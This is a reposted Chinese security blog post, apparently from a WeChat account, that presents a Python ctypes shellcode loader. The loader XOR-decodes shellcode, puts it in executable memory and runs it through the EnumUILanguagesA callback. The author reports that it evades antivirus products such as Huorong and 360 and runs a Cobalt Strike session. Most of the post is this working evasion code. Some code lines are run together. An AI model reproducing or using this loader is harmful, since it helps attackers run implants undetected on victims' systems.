免杀 回调函数[EnumUILanguagesA]

admin 2022年12月21日12:08:22评论155 views字数 1138阅读3分47秒阅读模式

前言

上一篇用的是 EnumDateFormatsA ,接着之前的内容继续往下测试。

正题

EnumUILanguagesA

EnumUILanguages 函数枚举系统上可用的 UI 语言。

免杀 -- 回调函数[EnumUILanguagesA]

EnumUILanguagesA调用shellcode

1# -*- coding: utf-8 -*-
2# @Time : 2022-01-19 22:12
3 # @Author : ILU
4 # @File : EnumUILanguagesA.py
5
6 import ctypes
7
8 sc = b''.decode()
9 key = 50
10buf = [ord(sc[i]) ^ key for i in range(len(sc))]
11buf = bytearray(buf)
12kernel32 = ctypes.windll.kernel32
13kernel32.VirtualAlloc.restype = ctypes.c_uint64
14ptr = kernel32.VirtualAlloc(
15ctypes.c_int(0),
16ctypes.c_int(len(buf)),
17ctypes.c_int(0x00001000), # #define MEM_COMMIT 0x0000100018ctypes.c_int(0x40) # #define

19)
20buffer = (ctypes.c_char * len(buf)).from_buffer(buf)
21kernel32.RtlMoveMemory(
22ctypes.c_uint64(ptr),
23buffer,
24ctypes.c_int(len(buf))
25)
26kernel32.EnumUILanguagesA(ctypes.c_char_p(ptr), ctypes.c_int16(0), ctypes.c_int16(0))27# 等待运行的线程关闭再关闭程序,-1为INFINITE无限等待的意思
28# 第一个参数:线程句柄
29# 第二个参数: 等待时间
30kernel32.WaitForSingleObject(ctypes.c_uint64(ptr), ctypes.c_int(-1))

31kernel32.CloseHandle(ptr)

py文件本身不报毒,截图中能够正常执行指令,动态也过了,是时候编译出exe测结果了。

免杀  回调函数[EnumUILanguagesA]

编译过程未报毒,cs会话已清除,静态过免杀,运行编译后的文件测试免杀情况。

免杀  回调函数[EnumUILanguagesA]

免杀 -- 回调函数[EnumUILanguagesA]

到这里差不多就结束了,某绒过了,基于上一个某60未检出出异常估计也过了,到这里这个回调函数的利用就结束了。




关 注 有 礼



欢迎关注公众号:网络安全者

获取每日抽奖送书

免杀 -- 回调函数[EnumUILanguagesA]

       

本文内容来自网络,如有侵权请联系删除

免杀 -- 回调函数[EnumUILanguagesA]


原文始发于微信公众号(网络安全者):免杀 -- 回调函数[EnumUILanguagesA]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月21日12:08:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀 回调函数[EnumUILanguagesA]http://cn-sec.com/archives/1475992.html

发表评论

匿名网友 填写信息